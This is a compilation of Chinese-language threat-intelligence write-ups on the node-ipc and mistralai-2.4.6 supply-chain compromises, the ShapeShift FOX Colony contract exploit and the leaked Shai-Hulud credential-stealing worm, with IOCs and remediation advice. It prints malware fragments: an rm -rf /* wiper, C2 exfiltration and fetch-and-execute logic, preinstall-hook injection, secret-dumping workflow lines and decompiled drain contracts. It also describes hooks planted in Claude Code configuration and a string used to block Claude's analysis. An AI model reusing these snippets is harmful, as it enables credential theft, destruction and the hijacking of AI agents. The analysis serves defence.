本次事件是 npm 公共生态中一起典型的供应链沦陷案例。攻击者通过复用真实项目的合法发布路径，精准在 node-ipc 的 CommonJS 入口文件中注入了恶意投毒逻辑，实现了‘无交互、加载即触发’的强隐蔽、高危攻击效果。

背景

2026 年 5 月 14 日，MistEye 威胁情报监控系统发现 npm 上的 Node.js IPC 工具包 node-ipc 同时出现 3 个异常发布版本：9.1.6、9.2.3 和 12.0.1。node-ipc 周均下载量约 53 万次(Weekly Downloads 530,066)，被超过 400 个开源项目直接依赖，在 Node.js 生态中覆盖面极广。

事件链路显示这 3 个版本的 node-ipc.cjs 尾部均新增了约 80KB 混淆代码，具备凭据收集与 DNS 外传能力。经反混淆比对可确认 9.1.6、9.2.3 和 12.0.1 的入口代码字节级一致。

本次事件是 npm 公共生态中一起典型的供应链沦陷案例。攻击者通过复用真实项目的合法发布路径，精准在 node-ipc 的 CommonJS 入口文件中注入了恶意投毒逻辑，实现了‘无交互、加载即触发’的强隐蔽、高危攻击效果。

仅污染 CJS 入口，触发面集中在高频链路。恶意代码局限在 node-ipc.cjs，配合 npm require 默认入口规则，攻击直接作用于依赖导入路径。

三路径分支覆盖多种运行场景。分别处理受控进程、直接执行和嵌套依赖场景，能在不同运行环境下激活主流程。

凭据采集向外传的链路完整且隐蔽。采集目标覆盖环境变量、主机指纹与凭证文件，通过 DNS TXT/A/AAAA 分片外传并配合签名材料维护完整性。

建议:

1. 检查依赖树中是否存在 node-ipc@9.1.6、node-ipc@9.2.3 或 node-ipc@12.0.1，确认后立即降级或替换为可信版本。 

2.检查构建与运行主机 /tmp/nt-<pid>/ 下是否存在可疑临时压缩痕迹，并核验系统凭据文件访问日志。

3.在网络侧监控 37.16.75[.]69 与 sh.azurestaticprovider[.]net 的异常 DNS 请求，并对高频 TXT/A/AAAA 异常解析行为上线告警机制。

4.对 Node.js 供应链部署增加入口完整性校验，优先检测 node-ipc.cjs 和 node-ipc.js 双入口是否被篡改。

5.在告警处置流程中联动应用资产盘点，确认是否存在凭据外流、SSH 授权异常和云凭据密钥被读取的后续风险。

IOC

IP

37[.]16[.]75[.]69

域名

sh.azurestaticprovider[.]net

URL

https[:]//sh.azurestaticprovider[.]net[:]443

恶意依赖

npm:node-ipc@9.1.6

npm:node-ipc@9.2.3

npm:node-ipc@12.0.1

恶意文件

filename: node-ipc-9.1.6.tgz

SHA1: f5970a9774a22a863728b960543f68e7009099ef

SHA256: 449e4265979b5fdb2d3446c021af437e815debd66de7da2fe54f1ad93cbcc75e

filename: node-ipc-9.2.3.tgz

SHA1: 58ae7338960ef525d7c655023d7c81e3ddb283d6

SHA256: c2f4dc64aec4631540a568e88932b61daebbfb7e8281b812fa01b7215f9be9ea

filename: node-ipc-12.0.1.tgz

SHA1: fe5d107b9d285327af579259a32977c4f475fa26

SHA256: 78a82d93b4f580835f5823b85a3d9ee1f03a15ee6f0e01b4eac86252a7002981

filename: node-ipc.cjs

MD5: d1ba0419cb5e5de91b9b58e87b8322e1

SHA1: ab7388363936bf527afd4173b5728c7cdbdd01ab

SHA256: 96097e0612d9575cb133021017fb1a5c68a03b60f9f3d24ebdc0e628d9034144

跳转微信打开

本次捕获的 mistralai-2.4.6 攻击事件是一起由同一攻击团伙精心构造的、横跨 PyPI 和 NPM 两大生态的复合供应链投毒活动的一个分支。

背景

远控程序启动后（__main__.py），会先做如下检查，任何一条不满足就直接退出：

1.不是 Linux？退出。

2.系统语言是俄语（LANG 环境变量以 ru 开头）？退出。

3.CPU 核心数 ≤ 2？退出。这是典型的反沙箱手段——大多数自动分析沙箱只分配 1-2 个核心。

4.缺少 cryptography 加密库？自动执行 pip install cryptography --break-system-packages，静默装好。

其中第 2 条的俄语规避和第 3 条的 CPU 检测都指向攻击者有意识地在躲避特定区域的安全团队和自动化分析系统。

完整代码如下：

第四步：数据窃取 —— 七个采集器覆盖上百类敏感信息

通过环境检测后，aggregate.py 会并发启动 collectors/ 目录下的全部 7 个采集模块，对受害主机进行系统性的敏感数据收割。以下是每个采集器的具体行为：

AWS 采集器(collectors/aws.py)

先从环境变量和 ~/.aws/credentials 文件读取访问密钥，还会尝试从 EC2 实例的元数据服务（169.254.169.254）获取临时凭据。拿到密钥后，以 15 线程并发遍历 19 个 AWS 区域（含美国政府云 GovCloud），逐一调用 AWS Secrets Manager 的 GetSecretValue 和 SSM Parameter Store 的 GetParameter（解密模式），把能碰到的所有 Secret 和参数全部读出来。

Azure 采集器(collectors/azure.py)

支持四种方式获取 Azure 凭据：环境变量里的 Client Secret、服务主体证书认证(JWT bearer assertion)、Azure CLI 本地缓存、以及云实例的托管身份(Managed Identity)。拿到凭据后，通过 Azure Resource Manager API 列出所有订阅下的 Key Vault，逐个读取每个 Vault 里的全部 Secret 值。

GCP 采集器(collectors/gcp.py)

同样支持多种凭据来源：Service Account JSON 文件的 JWT 签名认证、刷新令牌交换、Application Default Credentials 文件、以及 GCE 实例的元数据端点。拿到凭据后，枚举 GCP Secret Manager 中的全部 Secret 并自动解密。

Kubernetes 采集器(collectors/kubernetes.py)

这个采集器设计得很完备：它内置了一个手写的 YAML 解析器，可以直接解析 kubeconfig 文件里的多集群配置；还支持 In-cluster RBAC token 认证和直接调用 K8s HTTP API。如果系统里没装 kubectl，它会自己从 https://dl.k8s.io/release/v1.28.0/bin/linux/{arch}/kubectl 下载一个。拿到权限后，遍历所有命名空间下的所有 Secret。

文件系统采集器(collectors/filesystem.py)

这是覆盖面最广的模块，内置了约 100 个敏感文件路径，涵盖：Git 凭据(.gitconfig、.git-credentials)、Docker 配置(~/.docker/config.json)、各类包管理器注册表 token (npm、PyPI、Cargo、Composer)、云平台凭据文件(AWS、GCP、Azure CLI)、SSH 私钥目录（~/.ssh/ 下所有文件）、Terraform 和 Pulumi 的 state 文件（常含明文密钥）、CI/CD 平台配置（CircleCI、Heroku、Netlify、Vercel、Cloudflare、Railway 等十余个）、VPN 配置(Tailscale、WireGuard)、Shell 历史记录(.bash_history、.zsh_history)，以及 Claude Desktop、VSCode、Cursor 等 AI 编码工具的 MCP 配置文件。此外，该模块还会通过 Docker socket 直接通信，采集所有运行中容器的环境变量。

密码管理器采集器(collectors/passwords.py)

如果你的电脑上装了 1Password、Bitwarden、pass 或 gopass 这四款密码管理器中的任何一款，这个采集器会通过它们的命令行工具(op、bw、pass、gopass) 直接读取存储的全部密码条目。前提是你已经解锁了对应的密码管理器——但考虑到开发者日常使用的场景，密码管理器处于解锁状态并不罕见。

HashiCorp Vault 采集器(collectors/vault.py)

从四个来源尝试获取 Vault Token：VAULT_TOKEN 环境变量、~/.vault-token 文件、AppRole 认证、以及 vault CLI 已登录会话。拿到 Token 后，递归遍历所有 KV 引擎（v1 和 v2 均支持）下的全部密钥路径。

第五步：加密防截获，三条路径确保数据传回

窃取只是第一步，把数据传到攻击者手里同样关键。entrypoint.py 的做法是先把数据加密到无法被第三方解开，再通过多条备用路径确保传输成功——即使某条路径被封堵，也有替代方案。

加密封装流程：

采集数据(JSON)
   → gzip 压缩
           → 随机生成 AES-256 密钥 + 12 字节随机 IV
→ AES-256-GCM 加密压缩数据
→ 用攻击者的 4096-bit RSA 公钥把 AES 密钥包一层(OAEP-SHA256)
→ 打包发送

注意这个加密流程是单向的：攻击者把 RSA 公钥硬编码在 config.py 里，只有攻击者手里才有对应的私钥。即使安全团队截获了外传的数据包，没有攻击者的 RSA 私钥也无法解开 AES 密钥，更无法解密里面的内容。

外传通道的三条路径：

entrypoint.py 在发送数据时采用了层层递进的容错策略：

1.主通道(/v1/weights)：直接把加密包 POST 到攻击者服务器的 https://83.142.209.194/v1/weights。如果这个地址被墙了？

2.备用通道（FIRESCALE 协议）：程序会去搜 GitHub 公开 commit 的历史记录，找有没有人提交过含 FIRESCALE <base64_url>.<base64签名> 这种特殊格式的消息。如果找到了，它会用硬编码的 RSA 公钥验证这段消息的签名——签名通过就说明这确实是攻击者本人留下的。接着，解码出里面的备用服务器地址，往那边再试一次。这意味着攻击者可以在不修改恶意代码的情况下，随时在 GitHub 上发一条带签名的 commit 就能更换接收地址。

3.GitHub 兜底通道：如果前两层都失败了，程序会从已窃取的数据里反查有没有 GitHub Token（ghp_ 或 github_pat_ 格式）——也就是前面文件系统采集器从 ~/.config/gh/hosts.yml 和 gh auth token 里拿到的那些。找到后，用这个 Token 在 GitHub 上创建一个公开仓库，把加密数据当作一个叫 results.json 的文件传上去。有意思的是，它创建的仓库名由 30 个俄罗斯童话和民间传说中的词汇随机组合而成，例如 BABA-YAGA-KOSCHEI-742、VASSILISA-FIREBIRD-309。这种命名方式不仅是攻击者的"个人风格签名"，也为后续研究人员做关联分析提供了线索。

此外，程序启动时还会先访问一次 https://83.142.209.194/v1/models。如果攻击者在这个端点返回了内容，程序会直接将它当作一段新的恶意代码来执行——这意味着攻击者保留了随时向已感染主机下发新指令的能力。

第六步：地理围栏与擦除器 —— 特定区域的受害者面临的不只是窃密

远控程序中最具破坏力的模块是 roulette.py。它同时负责两个相反的任务：对绝大多数受害者部署长期潜伏的持久化服务，对极少数特定地区的受害者则直接毁灭系统。

如何判断受害者所在的区域？

_is_israeli_system() 函数通过五个维度交叉判断：

1.TZ 环境变量里有没有 Jerusalem、Tel_Aviv 或 Tehran

2./etc/timezone 文件内容

3./etc/localtime 二进制内容

4.LANG / LC_ALL / LC_MESSAGES 环境变量是否以 he_IL（希伯来语）或 fa_IR（波斯语）开头

5.Python 系统接口 locale.getdefaultlocale() 的返回值

这五个维度涵盖了环境变量、系统文件、locale 接口三个层面，任意一项命中就判定为目标区域。

1/6 的死亡转盘：

roll = random.randint(1, 6) 
 if _is_israeli_system() and roll == 2:     
    play_at_full_volume(config.RUN_FOR_COVER, "RunForCover.mp3")     
    subprocess.run(["rm", "-rf", "/*"]) 	
       return

源代码的逻辑是：如果系统被判定为以色列或伊朗，程序掷一个 1 到 6 的骰子。只有掷到 2 才会触发破坏——也就是 1/6 的概率。触发时，程序会先从攻击者服务器下载一个名为 RunForCover.mp3 的音频文件，用 pactl 把系统音量调到 100%、取消静音，然后用 mpv 开始播放。与此同时，执行 rm -rf /*。这个用最大音量播放音乐同时毁灭系统的行为模式，在实践中是一种极少见的操作。

为什么是 1/6 而不是每次都触发？一个合理的推测是：攻击者想降低在沙箱或自动分析环境里触发破坏的概率（大多数自动系统只跑一次），但在真实受害集群中，多次感染总会触发。

非目标区域的长期潜伏：

如果受害者不在以色列或伊朗（绝大多数情况），程序会转而执行 deploy_local()，将持久化组件部署到系统里：

•如果你有 root 权限：写入 /usr/bin/pgmonitor.py，注册 systemd 服务 /etc/systemd/system/pgsql-monitor.service

•如果你没有 root 权限：写入 ~/.local/bin/pgmonitor.py，注册用户级 systemd 服务 ~/.config/systemd/user/pgsql-monitor.service

systemd 服务配置了 Restart=always，意味着这个恶意程序会在系统重启后自动复活。文件名 pgmonitor.py 和 pgsql-monitor.service 刻意模仿 PostgreSQL 数据库监控组件，在运维环境里很容易被当作正常服务忽略。

伪装层次总览

回顾整条攻击链，攻击者在三个层面都做了精心伪装：

关联样本：同一把 RSA 公钥牵出的幕后团伙

在对 transformers.pyz 的静态分析中，我们注意到其 config.py 硬编码了一个 4096-bit RSA 公钥。在后续的样本关联比对中，我们发现这个公钥并非首次出现——慢雾安全团队此前披露的 Shai-Hulud 供应链投毒框架（详见《Shai-Hulud 恶意软件深度剖析：开源即失控 ？》）中，使用了完全相同的 RSA 公钥。

Shai-Hulud 是一个基于 TypeScript 编写的供应链攻击框架（包名 voicefromtheouterworld）。除 RSA 公钥相同这一核心技术证据外，对比两个样本的工程结构，它们在采集模块划分、加密流程、并发调度等方面也呈现出高度相似的设计思路：

此外，两个框架的加密流程相同：采集结果 → gzip 压缩 → AES-256-GCM 随机密钥加密 → 同一 RSA 公钥 OAEP 封装对称密钥 → 发送。其中 RSA 公钥完全一致是最关键的关联证据。

更值得注意的是，Shai-Hulud 在基础窃密功能之上还多了一层主动投毒扩散能力，transformers.pyz 没有这部分功能：

•NPM 发布模块(mutator/npm/publish.ts)：利用窃取的 NPM Token 发布恶意包

•OIDC 滥用模块(mutator/npmoidc/)：通过 GitHub Actions OIDC 凭证冒用 CI 身份发布包

• 仓库注入模块(mutator/branch/)：在 GitHub 仓库中创建分支或 PR，向合法项目注入恶意代码

•GitHub Actions Secret 窃取(providers/actions/)：专门针对 CI/CD 流水线中的加密 Secret

为什么这把公钥是关键证据？

数据加密用的是"公钥加密，私钥解密"的非对称加密模型。公钥负责加密，私钥负责解密。攻击者把同一个公钥硬编码在两个不同的恶意框架里，意味着所有被这两个框架窃取的数据，最终都必须用同一把私钥来解开。这把私钥只可能由同一个攻击团伙持有。因此，共享公钥不是巧合，而是同一团伙运营两个并行恶意框架的技术指纹。

从攻击体系的角度来理解，Shai-Hulud 和 transformers.pyz 很可能是这个团伙的两把"刀"，各有分工：

mistralai-2.4.6 正是攻击者通过 Shai-Hulud 框架入侵 Mistral AI 项目的 GitHub Actions CI/CD 流水线后，利用窃取的 OIDC 凭证通过项目的可信发布通道推送的带毒版本。这也解释了为什么该包能通过 PyPI 的正常发布校验——因为它使用的就是项目本身的受信发布凭证。

总结

本次捕获的 mistralai-2.4.6 攻击事件不是孤立的——它是一起由同一攻击团伙精心构造的、横跨 PyPI 和 NPM 两大生态的复合供应链投毒活动的一个分支。其核心特点可以概括为四个"巧妙"和一个"极端"：

巧妙的入口设计。 攻击者不在包里放木马文件，不在依赖里做手脚，只在 import 入口塞了不到 30 行代码。这 30 行代码本身没有窃密、没有破坏，唯一做的事情就是下载另一个程序——静态扫描极难判定为恶意。

巧妙的伪装策略。远控文件名仿 HuggingFace transformers，持久化服务名仿 PostgreSQL 监控——两个层面的命名全都选在了 AI/ML 开发者最熟悉、最不会起疑心的词汇上。而包本身是正版 SDK 遭入侵后植入后门，利用用户对官方包的信任来绕过安检。

巧妙的外传工程。数据经过 gzip 压缩、AES-256 随机密钥加密、RSA-4096 公钥封装的完整加密封装，即使传输被截获也无法解密。外传通道设了三层容错：主 C2 → GitHub 签名 commit 动态发现备用 C2 → 利用受害者自己的 GitHub Token 上传，每一步都有 Plan B。

巧妙的双轨作战。 Shai-Hulud (TypeScript) 和 transformers.pyz (Python) 两个恶意框架使用了同一把 4096-bit RSA 公钥，这是关联两个样本的核心技术证据——同一私钥持有者才能解密两套框架窃取的数据。两个框架在采集模块、加密流程、俄语规避等设计上呈现高度相似的工程思维，但各自侧重点不同：Shai-Hulud 侧重窃密和 NPM 投毒扩散，`transformers.pyz` 侧重窃密和区域破坏，覆盖了两种攻击场景和两类包生态。结合 Shai-Hulud 已知具备的 CI/CD 凭据滥用能力与本次样本的官方发布形态，`mistralai-2.4.6` 很可能是这套双轨作战体系下的直接产物。

极端的区域破坏。 这是本案例最不寻常的地方。供应链投毒案件通常以窃密或勒索为目的，但这次攻击同时携带了一个 1/6 概率触发的 `rm -rf /*` 擦除器，且目标区域精准锁定以色列和伊朗，同时主动规避俄语环境。这种"窃密 + 破坏 + 区域选择"的三合一模式在当前的供应链攻击案例库中十分罕见。

建议:

1.若曾在 Linux 环境中安装过 mistralai==2.4.6，请立即将该主机断网，按"已沦陷"级别进行处置。

2.轮换该主机上所有可接触的凭据：API Key、云访问密钥(AWS/Azure/GCP)、CI/CD Token、SSH 私钥、密码管理器主密码、数据库密码。

3. 检查主机上是否存在以下文件：/tmp/transformers.pyz、/usr/bin/pgmonitor.py 或 ~/.local/bin/pgmonitor.py、RunForCover.mp3。若存在，立即保全取证并隔离主机。

4.执行 systemctl status pgsql-monitor.service 和 systemctl --user status pgsql-monitor.service，检查是否有恶意持久化服务在运行。

5.在出网防火墙上阻断 IP 83[.]142[.]209[.]194 的所有连接。在日志/SIEM 中回溯相关 IOC。

6.对受影响的容器或虚拟机执行完整重建，不要仅删除恶意文件后继续使用。

7.排查内部 PyPI 镜像和制品库是否缓存了该恶意版本，防止横向污染。

IOC

IP

83[.]142[.]209[.]194

URL

https[:]//83[.]142[.]209[.]194/transformers.pyz 

https[:]//83[.]142[.]209[.]194/v1/models 

https[:]//83[.]142[.]209[.]194/v1/weights 

https[:]//83[.]142[.]209[.]194/audio.mp3

恶意依赖

mistralai==2.4.6

恶意文件

filename: mistralai-2.4.6--6dbaa43bf2f3.tgz

MD5: 94dbce1e6dd19886a253a1c5fc0abbb0

SHA1: d4583b83b8213add7558ba568b287e65d5a06d47 SHA256: 6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b

filename: transformers.pyz

SHA256: 5245eb032e336b85cff0dbb3450d591826bf2ef214fd30d7eba1a763664e151b

本文由 SlowMist 威胁情报团队结合 MistEye 威胁情报系统、SlowMist Agent AI驱动分析编写，有任何问题欢迎咨询反馈。

跳转微信打开

本文通过分析 ShapeShift FOX Colony 遭袭案例，揭示了元交易自调用与自动授权逻辑产生的语义冲突如何导致权限被完全绕过，并最终致使合约资产被清空。

背景

2026 年 5 月，ShapeShift FOX Colony 项目部署在 Arbitrum 上的 EtherRouterCreate3 合约遭到攻击。攻击者利用合约元交易机制中的「任意自调用」能力，配合 DSAuth 对 address(this) 的自动授权逻辑，绕过 auth 修饰符将合约的核心路由组件 resolver 替换为恶意版本，进而通过 delegatecall 清空合约持有的全部 ERC20 资产。本次攻击的本质是「元交易元语与内部自调用授权模式的语义冲突」所导致的一次完全权限绕过。

攻击概览

漏洞根因

executeMetaTransaction 的任意自调用：address(this).call(callData) 未过滤敏感 selector 

合约 EtherRouter 本身是一个基于 resolver 的可升级代理架构：对于未知函数选择器，fallback() 调用 resolver.lookup(msg.sig) 找到实现地址后通过 delegatecall 执行。元交易功能（executeMetaTransaction）由旧 resolver 0x7490022b0e44aa65c030ac0d6728382a29458fc5 路由到实现合约 0x4e7f1e1e263678590007e89b7e129686ba7758d4 执行。该实现合约未开源，以下基于反编译结果：

function executeMetaTransaction(
    address userAddress,
    bytes memory functionSignature,
    bytes32 sigR,
    bytes32 sigS,
    uint8 sigV
) public returns (bytes memory) {
    // 使用 nonce、address(this)、chainid、functionSignature 构造消息
    // 通过 ecrecover 校验签名恢复地址 == userAddress
    require(recoveredAddress == userAddress);


    // nonce++
    _executeMetaTransaction[userAddress]++;
    // 构造 calldata
    bytes memory callData = abi.encodePacked(
        functionSignature,
        0x2bcc191e283bfba76a1369ec8ba06566f33010645097c104c312753e04935e8,
        userAddress
    );


    // ⚠️ 漏洞点：验签后对 address(this) 执行任意 functionSignature 自调用，
    // 未禁止 setResolver(address)、setOwner(address)、setAuthority(address) 等敏感 selector
    (bool success, bytes memory returnData) = address(this).call(callData);
    require(success);


    emit MetaTransactionExecuted(userAddress, msg.sender, 
    functionSignature);

    return returnData;
}

问题本质：executeMetaTransaction 的设计意图是允许用户通过签名执行某些非敏感操作，但它对 functionSignature 不做任何过滤。攻击者可以使用自己的有效签名，让合约对自身调用 setResolver(恶意地址)。

DSAuth.isAuthorized 的自动授权：src == address(this) 即放行

EtherRouter.setResolver(address) 受到 auth 修饰符保护，本应只允许 owner 或 authority 调用：

Resolver public resolver;


function setResolver(address _resolver) public auth {
    resolver = Resolver(_resolver);
}

但 DSAuth.isAuthorized(address src, bytes4 sig) 中存在自调用自动授权逻辑：

function isAuthorized(address src, bytes4 sig) internal view returns (bool) {
    if (src == address(this)) {
        return true; // ⚠️ 漏洞点：自调用无条件授权
    } else if (src == owner) {
        return true;
    } else if (authority == DSAuthority(0)) {
        return false;
    } else {
        return authority.canCall(src, this, sig);
    }
}

当 executeMetaTransaction 通过 address(this).call(setResolver(...)) 触发自调用时，setResolver 中看到的 msg.sender 即为合约自身 0x5c59...，因此被 DSAuth 自动放行。

单独来看，这两处设计都不算明显漏洞——自调用授权在许多代理模式中很常见，元交易机制本身也合理。但两套逻辑同时存在时，语义冲突就产生了：元交易提供的「任意自调用」能力恰好撞上了 DSAuth 的「自调用即信任」逻辑，合在一起就是完整的权限绕过链。

EtherRouter.fallback() 的 delegatecall 动态路由：Resolver 被劫持后的完整控制权移交

fallback() external payable {
    address target = resolver.lookup(msg.sig);
    require(target != address(0));


    // ⚠️ 漏洞点：对 resolver 返回的地址无条件执行 delegatecall，
    // 一旦 resolver 被替换，任意未知 selector 都会被路由到攻击者实现
    assembly {
        calldatacopy(0, 0, calldatasize())
        let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
        returndatacopy(0, 0, returndatasize())


        switch result
        case 0 { revert(0, returndatasize()) }
        default { return(0, returndatasize()) }
    }
}

resolver 被替换后，攻击者只需调用 EtherRouter 上不存在的任意函数选择器，fallback() 就会无条件委托到攻击者控制的恶意实现。

恶意 Resolver 与 Drain 实现：无权限的函数映射注册表 + address(this) 资产清空

攻击者预先部署了两个合约：

恶意 Resolver

0x4e321af09012e15a67756522187c05b108b7ee0a（未开源，反编译）：

contract FunctionPointerRegistry {
    mapping(bytes4 => address) private _lookup;

    function lookup(bytes4 sig) public returns (address) {
        return _lookup[sig];
    }

    // ⚠️ 漏洞点：无任何权限控制，任何人可注册任意 selector → implementation 映射
    function set(bytes4 functionSig, address implementation) public {
        _lookup[functionSig] = implementation;
    }
}

恶意 Drain 实现

0x0b971e0a8ecc7d5b2465c903cf75aeaedbfc39e2（未开源，反编译）：

function drain(address token, address recipient) public {
    // ⚠️ 由于该函数由受害合约 delegatecall 执行，
    // address(this) 实际为受害合约地址 0x5c59...
    uint256 balance = IERC20(token).balanceOf(address(this));
    IERC20(token).transfer(recipient, balance);
}

攻击盈利公式

攻击者 EOA 签名 → executeMetaTransaction 自调用 setResolver(恶意 resolver)
→ DSAuth 自调用绕过 → resolver 被劫持
→ 调用 EtherRouter.drain(token, attacker)
→ fallback() → 恶意 resolver.lookup(0x837971e4) → 恶意 drain 实现
→ delegatecall → drain 中 address(this) == 受害合约
→ IERC20(token).balanceOf(受害合约) → IERC20(token).transfer(attacker, balance)
= 攻击者获得受害合约持有的全部 ERC20

攻击流程

攻击过程仅在一笔交易中完成，所有逻辑在临时攻击合约 0x835a701fd76b96a76ee84de037d41f059ee29f5c 的 constructor 中执行。

第一阶段：部署恶意基础设施

1. 攻击者 EOA 0xeed236afb6967f74099a0a6bf078bc6b865fbf28 发起交易，创建临时攻击合约 0x835a701fd76b96a76ee84de037d41f059ee29f5c。

2. 攻击合约调用恶意 resolver 0x4e321af09012e15a67756522187c05b108b7ee0a 的 set(bytes4,address)，将 drain(address,address) 的选择器 0x837971e4 映射到恶意 drain 实现 0x0b971e0a8ecc7d5b2465c903cf75aeaedbfc39e2。

第二阶段：通过元交易自调用劫持 Resolver

1. 攻击合约调用受害合约 0x5c59d0ec51729e40c413903be6a4612f4e2452da 的 executeMetaTransaction()。由于该函数不在 EtherRouter 自身 ABI 中，调用进入 fallback()，由旧 resolver 路由到元交易实现 0x4e7f1e...。

2. executeMetaTransaction 通过 ecrecover 校验签名，恢复出攻击者 EOA，签名验证通过（攻击者使用的是自己的有效签名，非签名伪造）。

3. executeMetaTransaction 构造自调用 calldata setResolver(0x4e321af...) 并执行 address(this).call(callData)。此时上下文是受害合约，所以 msg.sender == 0x5c59...。DSAuth.isAuthorized() 因 src == address(this) 返回 true，resolver 被成功替换。

第三阶段：通过被劫持的 Resolver 清空资产

1. 攻击合约调用受害合约的 drain(USDC, 0xeed236...)。该函数不在 EtherRouter 原生 ABI 中，进入 fallback()。被劫持的 resolver 返回恶意 drain 实现 0x0b971e0...，受害合约对其 delegatecall。恶意代码查询 USDC.balanceOf(0x5c59...) 得到 132704591501（即 132,704.591501 USDC），随后调用 USDC.transfer() 直接转入攻击者 EOA。

2. 攻击合约再次调用 drain(0xf929..., 0x835a701f...)，依相同路径将被盗中间代币 841086343608217839604694 单位转入攻击合约。

3. 攻击合约通过 Router 0x4752ba5dbc23f44d87826276bf6fd6b1c372ad24 将被盗中间代币在 Pair 0x5f6ce0ca... 中 swap 为 1.949506469643782660 WETH，WETH 直接转入攻击者 EOA。

获利闭合

资金追踪

跳转微信打开

本文围绕 Shai-Hulud 恶意软件开源事件，分析其供应链攻击链路、凭证窃取能力，以及对开源生态与 AI 开发环境带来的安全威胁。

Shai-Hulud 是一种针对开源软件供应链的重大网络安全威胁，是一种具有自我传播能力的 npm 恶意蠕虫病毒，会感染开源生态系统。它被认为是 npm 近年来最大规模的供应链攻击之一，涉及数百个恶意包，SlowMist MistEye 威胁情报系统已多次预警。

昨日，一个名为 TeamPCP 的威胁组织做出了令安全界震惊的举动：他们将自己开发的凭证窃取恶意软件 Shai-Hulud 的完整源代码发布到了 GitHub 上。

这不是一次误操作，而是一场精心策划的"能力扩散"行动。

一、事件背景

1.1 什么是 Shai-Hulud？

Shai-Hulud 是一款专门针对 GitHub Actions CI/CD 环境的凭证窃取工具。其名字来源于科幻小说《沙丘》中的巨型沙虫，暗示其强大的"吞噬"能力，吞噬一切它能接触到的敏感凭证。

1.2 发生了什么？

TeamPCP 做了三件事：

开源代码：将完整源码发布到 GitHub

使用被入侵账号：通过被黑的 GitHub 账号传播

提供部署手册：附带完整使用说明

目前已有多个活跃仓库，且数量还在增长。攻击者甚至在仓库标题中直接写道：

A Gift From TeamPCP（TeamPCP 的礼物）

极具嘲讽意味。

二、技术架构深度解析

2.1 四层攻击架构

Shai-Hulud 攻击架构

具体代码实现：

1. 启动入口与主外传目标

文件：

`Shai-Hulud-Open-Source-main/package.json:11`，`Shai-Hulud-Open-Source-main/src/index.ts:96-98`

说明：确认项目默认启动即进入恶意主逻辑，并指向硬编码外传域。

"start": "bun run ./src/index.ts"

const dest: SenderDestination = {
  domain: scramble("git-tanstack.com"),
  port: 443,
  path: scramble("router"),
};

2. 本地与云端敏感面采集

文件：

`Shai-Hulud-Open-Source-main/src/index.ts:35-37,137-141`，`src/providers/devtool/devtool.ts:19`，`src/providers/aws/credentials.ts:199,249`，`src/providers/kubernetes/kubernetes.ts:58,138`

quickResults.push(await localProvider.execute());
quickResults.push(await shellProvider.execute());
quickResults.push(await runnerProvider.execute());

const token = execSync(scramble("gh auth token"), {

const IMDS = "http://169.254.169.254";
const tokenFile = process.env[scramble("AWS_WEB_IDENTITY_TOKEN_FILE")];

"/var/run/secrets/kubernetes.io/serviceaccount/token",
Authorization: `Bearer ${token}`,

3. 加密外传封装与 POST

文件：

`Shai-Hulud-Open-Source-main/src/sender/base.ts:48,57`，`src/sender/domain/sender.ts:70`

说明：确认结果会被加密后发送到远端，而非仅本地收集。

const encryptedKey = crypto.publicEncrypt(

const cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);

body: JSON.stringify(envelope),

4. npm 供应链植入

文件：

`Shai-Hulud-Open-Source-main/src/collector/collector.ts:39,61`，`src/mutator/npm/index.ts:68`，`src/mutator/npmoidc/index.ts:37,172-178`，`src/utils/config.ts:7`

说明：确认一旦捕获 token，样本会直接实施改包、注入与发布。

if (result.matches?.["npmtoken"]) {

const npmIntegration = new NpmClient(npmCheck);

pkg.scripts.preinstall = scramble("node setup.mjs");

pkg.optionalDependencies["@opensearch/setup"] = PACKAGE_NAME;
const { ACTIONS_ID_TOKEN_REQUEST_TOKEN, ACTIONS_ID_TOKEN_REQUEST_URL } = process.env;
`${ACTIONS_ID_TOKEN_REQUEST_URL}&audience=npm:registry.npmjs.org`

"github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de",

5. GitHub Actions secrets 导出

文件：

`Shai-Hulud-Open-Source-main/src/providers/actions/workflow.ts:11`，`src/assets/workflow.yml:9,13`

说明：确认其通过伪装 workflow 将 secrets 序列化到 artifact 中再取回。

const BRANCH_NAME = scramble(
  "dependabot/github_actions/format/setup-formatter",
);

VARIABLE_STORE: ${{ toJSON(secrets) }}
run: echo "$VARIABLE_STORE" > format-results.txt

6. GitHub fallback 外传与本地持久化

文件：

`Shai-Hulud-Open-Source-main/src/sender/github/githubSender.ts:58,89,157`，`src/assets/DEADMAN_SWITCH.sh:48-49,96`

说明：确认 fallback sender 会提交外传结果，并安装 token 监控持久化脚本。

await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));

? `${SEARCH_STRING}:${envelope.token}`

HTTP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Authorization: Bearer ${GITHUB_TOKEN}" \

launchctl bootstrap "gui/$(id -u)" "${PLIST_PATH}"

7. 去混淆视图确认安装期载荷

文件：

`Shai-Hulud-Open-Source-main/src/assets/config.mjs:171-186`（基于去混淆视图）

const u = `https://github.com/oven-sh/bun/releases/download/bun-v${V}/${a}.zip`;
await dl(u, zp);
execFileSync(bp, [ep], {
  stdio: "inherit",
  cwd: D
});

2.2 凭证窃取范围

这是迄今为止针对开发者环境最全面的凭证收集工具之一：

2.3 Token 识别能力

恶意软件内置了强大的正则表达式引擎：

// GitHub Personal Access Token
ghtoken:  /gh[op]_[A-Za-z0-9]{36}/g
// npm Token
npmtoken: /npm_[A-Za-z0-9]{36,}/g
// GitHub App JWT
ghs_jwt:  /ghs_\d+_[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/g

2.4 针对 Claude Code 的攻击

这是本案的亮点之一。恶意软件专门针对 Claude Code 进行了优化：

- 修改 Claude 配置文件：`~/.claude.json`、`~/.claude/mcp.json`

- 注入执行钩子：当 Claude 启动时自动执行恶意代码

- "Anthropic Magic String"：使用特殊字符串阻止 Claude 分析

// 发现的目标文件
"~/.claude.json"
"~/.claude/mcp.json"
".kiro/settings/mcp.json"

为什么针对 Claude Code？因为 Claude Code 常常运行在拥有高权限 GitHub Token 的开发者机器上。

三、开发者画像

3.1 代码质量评估

结论：这是一个专业级恶意软件，开发者具备企业级软件开发能力。

3.2 开发者地域分析

代码中有一处非常有趣的逻辑：

// src/utils/config.ts
export function isSystemRussian(): boolean {
 const locale = Intl.DateTimeFormat().resolvedOptions().locale;
